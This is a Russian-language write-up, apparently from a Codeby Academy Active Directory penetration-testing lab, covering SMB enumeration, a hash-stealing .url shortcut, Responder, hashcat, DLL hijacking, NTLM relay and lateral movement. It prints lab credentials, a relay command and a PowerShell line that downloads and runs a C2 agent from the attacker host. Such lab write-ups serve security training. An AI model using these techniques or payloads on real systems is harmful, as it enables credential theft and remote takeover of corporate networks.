LIMB
Спойлер: Авторские права
Все авторские права принадлежат студенту и Академии Кодебай
Эта 9 часть посвящена распространённым сетевым атакам в доменной среде. Разберем методы и техники, позволяющие не только получить доменные учетные данные, но и применять их для ретрансляционных атак, что расширяет их возможности в целевой сети. Также будет уделено внимание уязвимостям в реализации некоторых протоколов аутентификации, что в конечном итоге может дать доступ к доменной инфраструктуре.
Не удалось прогрузить медиа
SMB Null Session мы можем применить в том случае, если настроена анонимная аутентификация) Мы можем пройти аутентификацию даже с несуществующими кредами.
Проведем пока что небольшую разведку
nmap -sn 10.119.0.0/24Не удалось прогрузить медиа
Не удалось прогрузить медиа
10.119.0.100 ACCESSSERVER
10.119.0.30 FILESERVER
10.119.0.5 DC
10.119.0.70 ADMSERVER
Просканируем открытые порты
Не удалось прогрузить медиа
RID-перебор — это одна из базовых техник разведки в доменной среде, которая часто применяется на ранних этапах атак для сбора информации о цели. Перечисление пользователей методом подбора RID (Relative Identifier) на удаленной цели – это техника, которая позволяет атакующему узнать список пользователей, зарегистрированных в домене или локальной системе, без необходимости авторизовываться. Она основана на особенностях работы протокола SMB (Server Message Block) и механизма безопасности Windows.
Не удалось прогрузить медиа
Узнаем где у нас есть право на чтение)
Не удалось прогрузить медиа
Самое время готовить атаку. Если есть запись в шару, то вся суть заключается в том, чтобы записать туда наш файл под видом легитимного, чтобы сотрудник перешел в шару как обычно и кликнул по нему. Ну, а далее мы либо его хэшик забираем себе, либо вообще сессию получаем (в случае с C2 бинарем). У нас атака заключается в следующем готовим файл с расширением .url
Code:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.0.0.130\%USERNAME%.icon
IconIndex=1Этот текст представляет собой файл Internet Shortcut в формате .url, используемый в Windows для создания ярлыков на веб-сайты или сетевые ресурсы. Он содержит параметры, которые определяют, куда ведёт ярлык, и как он выглядит.
Сетевая атака: Ссылка на сетевой ресурс (\\10.0.0.130) может инициировать аутентификацию по протоколу SMB. Если система попытается подключиться к указанному ресурсу, злоумышленник на сервере 10.0.0.130 может перехватить NTLM-хеш пользователя.
Запускаем прослушку на tun0 (наш впн0
Responder — это мощный инструмент для проведения атак на протоколы сетевой аутентификации в сетях Windows. Он часто используется в тестах на проникновение для перехвата данных аутентификации и их дальнейшего использования.
Не удалось прогрузить медиа
кладем наш файлик в шару на которую есть запись)
Не удалось прогрузить медиа
Не удалось прогрузить медиа
galyaeva:ZxCvBnM123! - сбрутил hashcat -m 5600 hash.txt /home/username/codeby/laba10/russwlst_ad.txt -r /usr/ share/hashcat/rules/OneRuleToRuleThemStill.rule
Выкачиваем всех пользователей
Не удалось прогрузить медиа
Не удалось прогрузить медиа
share_manager:JKLCwe20ewda - еще одна учетка.
Не удалось прогрузить медиа
Теперь мы можем записать еще в шару "Files". Подключимся посмотрим что там.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Видим .exe и при чем не один. Лаба нас учит тому, что мы должны действовать в зависимости от ситуации. Зачем нам грузить подозрительный файл, если мы можем в существующую директорию (winrar) запихнуть .dll с полезной нагрузкой. Нам для этого надо найти .dll, которую система не может определить.
Подмена DLL (DLL hijacking)
— атака, основанная на замене легитимного DLL-файла на вредоносную библиотеку. Доставка стороннего компонента может производиться как при помощи специального загрузчика, внедряемого в систему, так и через пользовательские файлы, обрабатываемые использующей библиотеку программой. Результатом подмены DLL является выполнение стороннего кода в среде скомпрометированного приложения.
cd winrar
mget *
Не удалось прогрузить медиа
Все файлы скачиваются на нашу локальную машину) В перемешку с теми что были в домашней директории. Лучше создать отдельную папку и оттуда запускать impacket-smbclient, чтобы потом не разбираться какие файлы мы скачали, а какие были наши. Как-то так
Не удалось прогрузить медиа
Скачиваем ProcMon
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Название dll файла который смог - samcli.dll. Создаем через gcc и службу на kali linux
Не удалось прогрузить медиа
Так как полезная нагрузка в нашем dll файле скачивает с нашего вэбсервера агента havoc и через pipeline PS запускает его, то долго ждать не пришлось.
Не удалось прогрузить медиа
Получаем отстук и лутаем первый флаг. Первый пошел))
Кроме флага нашел историю firefox у пользователя + нашел через интерактивный шел в winpease хэш пользователя и расшифровал его. Выкачиваем базу данных sqlite истории браузера firefox к себе на kali и открываем через sqlitebrowser. Мы обнаружим там интересный web сервис для управления серверами через PS. Ну и так как мы вламали хэш и получили пароль пользователя + получили ссылку в браузер то можем выполнить команды и получить оболочку на следующей тачке.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
OVERIN : !q2W3e$r! - получил хэш из винпис и сбрутил hashcat -m 5600 hash1.txt /home/username/codeby/laba10/ russwlst_ad.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemStill.rule Нашел базу история в firefox https://accessserver/powershell/ru-RU/console.aspx Ну и соединив эти два фактора вы можем попасть на след хост через браузер.
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Получив сесию, выполняем команду с pipeline и получаем отстук в havoc
Не удалось прогрузить медиа
Порыскав по системе, находим интересную дир. C:\Doc с такими правами.
Не удалось прогрузить медиа
Готовим payload )
Проверив какой вид документов пользователь хавает мы опять возвращаемся к .url файлу. Но так как расшифровать полученый хэш из респондера не получилось. Попробуем другой варик
Не удалось прогрузить медиа
Варик называется Relay attack from NTLM или обмани соседа) MITM атака
Запускаем http сервер со стандартного порта на нестандартный я взял 4480 - python3 -m http.server 4480
Запускаем наш инструмент для relay attack - impacket-ntlmrelayx -t smb://10.119.0.30 -smb2support -e '/home/ username/codeby/laba14/agent.exe' - Выполнит файл прямо с локальной машина на целевой.
Следующий этап это поместить payload в директорию C:\Doc и ждать как отработает запуск нашего агента и мы
получим сесию(Как только сесия прилетает сразу выполняем pipeline для получения отстука, так как эта сесия быстро
обрывается) pipeline - powershell wget http://10.0.0.130:4480/agent.exe -O C:\windows\tasks\ts19.exe ; C:\windows\tasks
\ts19.exe
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Как итог, мы получили СИСТЕМА на серваке FILESERVER. Лутаем следующий или третий флаг
Не удалось прогрузить медиа
Порыскав по системе, идем в hound и видим что можно заабузить AllowedToDelegate с сервера FILESERVER ---> ACCESSSERVER. Приступим к подготовке атаки. Дампим sam+system файлы и получаем хэш admin
Не удалось прогрузить медиа
👍64
🔥17
🤔12
😢11
💯6